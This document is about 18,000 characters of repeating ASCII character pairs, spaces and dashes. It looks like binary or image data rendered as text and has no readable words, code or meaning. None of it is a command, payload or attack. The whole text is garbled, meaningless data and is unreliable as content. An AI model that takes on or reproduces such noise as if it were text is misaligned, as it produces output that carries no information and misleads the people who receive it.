rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSOPOOOOOOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqnmnmnmlkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqlklklkkkjijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqkkklklkljijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOOOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqklklklkljijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - rqrqrqrqklklklkljijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPONMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     rqrqrqrqklklklkljijihghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     rqrqrqrqklklklklhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     rqrqrqrqklklklklhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYXWXWVUVUTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96543434321212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     rqrqrqpokkkkkklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:94333333421212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:9343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklklklkhghghghgfefefefebabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:9343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!     popopopolklkkkkkhghghghgfefedcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:9343433330/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9878787334343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklkkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"! popopopokkkklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;87878787333334340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopolkkkkkklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787343333330/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!    popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopoklklklklhghghghgdcdcdcdc`_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopoklklkkkkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343330/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopokklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787333434340/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    popopopolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - popopopokkkklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - popopopolklkjijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopojijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?>=>=>=<;<;<;<;87878787333333430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopojijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - popopopojijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - ponmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUPOPOOOOONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOPNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434333330/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOPNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOPNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - nmnmnmnmjijijijihghghghgdcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOPNMLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"!    - - - - nmnmnmnmjijijijihghgfefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOPLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUOPOPOPOOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;:9:9:987878765212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUTSTSOOOOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOOOOOOPLKLKLKLKJIHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefedcdcbaba`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOPOPOOOOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSOOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - nmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - mmnnooppIIJJKKLL%%&&''((;;::9988__^^]]\\qqrrssttMMNNOOPP))**++,, - -77665544[[ZZYYXX~~}}||uuvvwwxxQQRRSSTT--..//00 - -  33221100WWVVUUTT{{zzyyxxyyzz{{||UUVVWWXX11223344  - - //..--,,SSRRQQPPwwvvuutt}}~~YYZZ[[\\55667788 !!++**))((OONNMMLLssrrqqpp~~}}||]]^^__``99::;;<<""##$$%%''&&%%$$KKJJIIHHoonnmmll{{zzyyxxaabbccdd==>>??@@ !!""##&&''(())##""!! GGFFEEDDkkjjiihhwwvvuutteeffgghhAABBCCDD $$%%&&''**++,,-- CCBBAA@@ggffeeddssrrqqpoiijjkkllEEFFGGHH!!""##$$(())**++..//0011 - - ??>>==<>??@@>>??@@AA - - //..--,,SSRRQQPPxxwwvvuu]\\[[ZZYppoonnmm}}~~YYZZ[[\\55667788AABBCCDDBBCCDDEE !!++**))((OONNMMLLttssrrqq~~}}||{{YXXWWVVUllkkjjii]]^^__``99::;;<>??@@IIJJKKLLJJKKLLMM&&''(())##""!! GGFFEEDDllkkjjiivvuuttssNNMMLLKKddccbbaaeeffgghhAABBCCDDMMNNOOUUNNOOPPQQ**++,,-- CCBBAA@@hhggffeerrqqkkjjJJIIHHGG``__^^]]iijjkkllEEFFGGHHVVWWXXYYRRSSTTUU..//0011 - - ??>>==<>==<<;;TTSSRRQQxxwwvvuuuuvvwwxxQQRRSSTTbbccddee^^__``aa::;;<<== 33221100~~}}||XXWWVVUU]]\\[[ZZ::998765PPOONNMMttssrrqqyyzz{{||UUVVWWXXffgghhiibbccddee>>??@@AA - - //..--,,{{zzyyxxTTSSRRQQYYXXWWVV43322110LLKKJJIIppoonnmm}}~~YYZZ[[\\jjkkqqrrffgghhiiBBCCDDEE !!++**))((wwvvuuttPPOONNMMUUOONNMM0//..--,HHGGFFEEllkkjjii]]^^__``ssttuuvvjjkkllmmFFGGHHII""##$$%%''&&%%$$ssrrqqppLLKKJJIILLKKJJII,++**))(DDCCBBAAhhggffeeaabbccddwwxxyyzznnooppqqJJKKLLMM&&''(())##""!! oonnmmllHHGGFFEEHHGGFFEE(''&&%%$@@??>>==ddccbbaaeeffgghh{{||}}~~rrssttuuNNOOPPQQ**++,,-- kkjjiihhDDCCBBAADDCCBBAA$##""!! <<;;::99``__^^]]iijjkkllvvwwxxyyRRSSTTUU..//0011 - - ggffeedd@@??>>==@@??>>== 88776655\\[[ZZYY~~}}mmnnooppzz{{||}}VVWWXXYY22334455ccbbaa``<<;;::99<<;;::9944332211XXWWVVUU||{{zzyyqqrrsstt~~ZZ[[\\]]66778899__^^]]\\887766553322110000//..--TTSSRRQQxxwwvvuuuuvvwwxx^^__``aa::;;<<== [[ZZYYXX44332211//..--,,,,++**))PPOONNMMttssrrqqyyzz{{||bbccddee>>??@@AA - - WWVVUUTT00//..--++**))(( - -((''&&%%LLKKJJIIppoonnmm}}~~ffgghhiiBBCCDDEE !!SSRRQQPP,,++**))''&&%%$$ $$##""!!HHGGFFEEllkkjjiijjkkllmmFFGGHHII""##$$%%OONNMMLL((''&&%%##""!!  DDCCBBAAhhggffeennooppqqJJKKLLMM&&''(())KKJJIIHH$$##""!! - - @@??>>==ddccbbaarrssttuuNNOOPPQQ**++,,-- GGFFEEDD  <<;;::99``__^^]]vvwwxxyyRRSSTTUU..//0011 - - CCBBAA@@88776655\\[[ZZYY~~}}zz{{||}}VVWWXXYY22334455??>>==<<  44332211XXWWVVUU||{{zzyy~~ZZ[[\\]]66778899;;::9988 - - - - - - 00//..--TTSSRRQQxxwwvvuu^^__``aa::;;<<==77665544  ,,++**))PPOONNMMttssrrqqbbccddee>>??@@AA33221100 - - !!""##$$((''&&%%LLKKJJIIppoonnmmffgghhiiBBCCDDEE !!//..--,, - - %%&&''(($$##""!!HHGGFFEEllkkjjiijjkkllmmFFGGHHII""##$$%%++**))(( ))**++,, DDCCBBAAhhggffeennooppqqJJKKLLMM&&''(())''&&%%$$ !!""##--..//00 - - @@??>>==ddccbbaarrssttuuNNOOPPQQ**++,,--##""!! $$%%&&''11223344 <<;;::99``__^^]]vvwwxxyyRRSSTTUU..//0011(())**++5566778888776655\\[[ZZYY~~}}~~}}||zz{{||}}VVWWXXYY22334455 ,,--..//99::;;<< 44332211XXWWVVUU||{{zzyy{{zzyyxx~~ZZ[[\\]]66778899!!""##$$00112233==>>??@@ - - 00//..--TTSSRRQQxxwwvvuuwwvvuutt^^__``aa::;;<<==%%&&''((99::;;<>??@@AA ))**++,,==>>??@@EEFFGGHH!!""##$$((''&&%%LLKKJJIIppoonnmmnmlkkjjiffgghhiiBBCCDDEE - - --..//00AABBCCDDIIJJKKLL%%&&''(($$##""!!HHGGFFEEllkkjjiiihhggffejjkkllmmFFGGHHII11223344EEFFGGHHMMNNOOPP))**++,, DDCCBBAAhhggffeeeddccbba~~}}||nnooppqqJJKKLLMM55667788IIJJKKLLQQRRSSTT--..//00 - - @@??>>==ddccbbaa~~}}||{{a``__^^]{{zzyyxxrrssttuuNNOOPPQQ99::;;<>??@@VVWWXXYYYYZZ[[\\5566778888776655\\[[ZZYYvvuuttssYXXWWVVUssrrqqppzz{{||}}VVWWXXYY - - AABBCCDDZZ[[\\]]]]^^__``99::;;<< 44332211XXWWVVUUrrqqkkjjUTSRQPOOoonnmmll~~ZZ[[\\]]EEFFGGHH^^__``aaaabbccdd==>>??@@ - - 00//..--TTSSRRQQiihhggffNNMMLLKKkkjjiihh^^__``aaIIJJKKLLbbccddeeeeffgghhAABBCCDD ,,++**))PPOONNMMeeddccbbJJIIHHGGggffeeddbbccddeeMMNNOOPPffgghhiiiijjkkllEEFFGGHH!!""##$$((''&&%%LLKKJJIIaa``__^^FFEEDDCCccbbaa``ffgghhiiQQRRSSTTjjkkqqrrmmnnooppIIJJKKLL%%&&''(($$##""!!HHGGFFEE]]\\[[ZZBBAA@@??__^^]]\\jjkkllmm !!UUVVWWXXssttuuvvqqrrssttMMNNOOPP))**++,, DDCCBBAAYYXXWWVV>>==<<;;[[ZZYYXX~~}}||nnooppqq""##$$%%YYZZ[[\\wwxxyyzzuuvvwwxxQQRRSSTT--..//00 - - @@??>>==UUOONNMM::998765WWVVUUTT{{zzyyxxrrssttuu&&''(())]]^^__``{{||}}~~yyzz{{||UUVVWWXX11223344 <<;;::99LLKKJJII43322110SSRRQQPPwwvvuuttvvwwxxyy**++,,--aabbccdd}}~~YYZZ[[\\5566778888776655HHGGFFEE0//..--,OONNMMLLssrrqqppzz{{||}}..//0011eeffgghh]]^^__``99::;;<< 44332211DDCCBBAA,++**))(KKJJIIHHoonnmmll~~22334455iijjkkllaabbccdd==>>??@@ - - 00//..--@@??>>==(''&&%%$GGFFEEDDkkjjiihh66778899mmnnooppeeffgghhAABBCCDD ,,++**))<<;;::99$##""!! CCBBAA@@ggffeedd::;;<<==qqrrssttiijjkkllEEFFGGHH!!""##$$((''&&%%33221100 ??>>==<>??@@AAuuvvwwxxmmnnooppIIJJKKLL%%&&''(($$##""!!//..--,,;;::9988__^^]]\\BBCCDDEEyyzz{{||qqrrssttMMNNOOPP))**++,, ++**))((77665544[[ZZYYXX~~}}||FFGGHHII}}~~uuvvwwxxQQRRSSTT--..//00 - - ''&&%%$$33221100WWVVUUTT{{zzyyxxJJKKLLMMyyzz{{||UUVVWWXX11223344 ##""!! - -//..--,,SSRRQQPPwwvvuuttNNOOPPQQ}}~~YYZZ[[\\55667788 ++**))((OONNMMLLssrrqqppRRSSTTUU]]^^__``99::;;<< ''&&%%$$KKJJIIHHoonnmmllVVWWXXYYaabbccdd==>>??@@ - - ##""!! GGFFEEDDkkjjiihhZZ[[\\]]eeffgghhAABBCCDD   CCBBAA@@ggffeedd^^__``aaiijjkkllEEFFGGHH!!""##$$ - -  - - ??>>==<>==<<;;NNMMLLKK87654332UUTTSSRRyyxxwwvvttuuvvwwPPQQRRSSaabbccdd]]^^__``99::;;<< 44332211XXWWVVUUrrqqkkjjUTSRQPOOoonnmmll~~nnooppqq{{||}}~~WWXXYYZZ33445566::998877JJIIHHGG21100//.QQPPOONNuuttssrrxxyyzz{{TTUUVVWWeeffgghhaabbccdd==>>??@@ - - 00//..--TTSSRRQQiihhggffNNMMLLKKkkjjiihhrrssttuu[[\\]]^^778899::66554433FFEEDDCC.--,,++*MMLLKKJJqqppoonn||}}~~XXYYZZ[[iijjkkqqeeffgghhAABBCCDD ,,++**))PPOONNMMeeddccbbJJIIHHGGggffeeddvvwwxxyy__``aabb;;<<==>> 221100//BBAA@@??*))((''&IIHHGGFFmmllkkjj\\]]^^__rrssttuuiijjkkllEEFFGGHH!!""##$$((''&&%%LLKKJJIIaa``__^^FFEEDDCCccbbaa``zz{{||}}ccddeeff??@@AABB - - 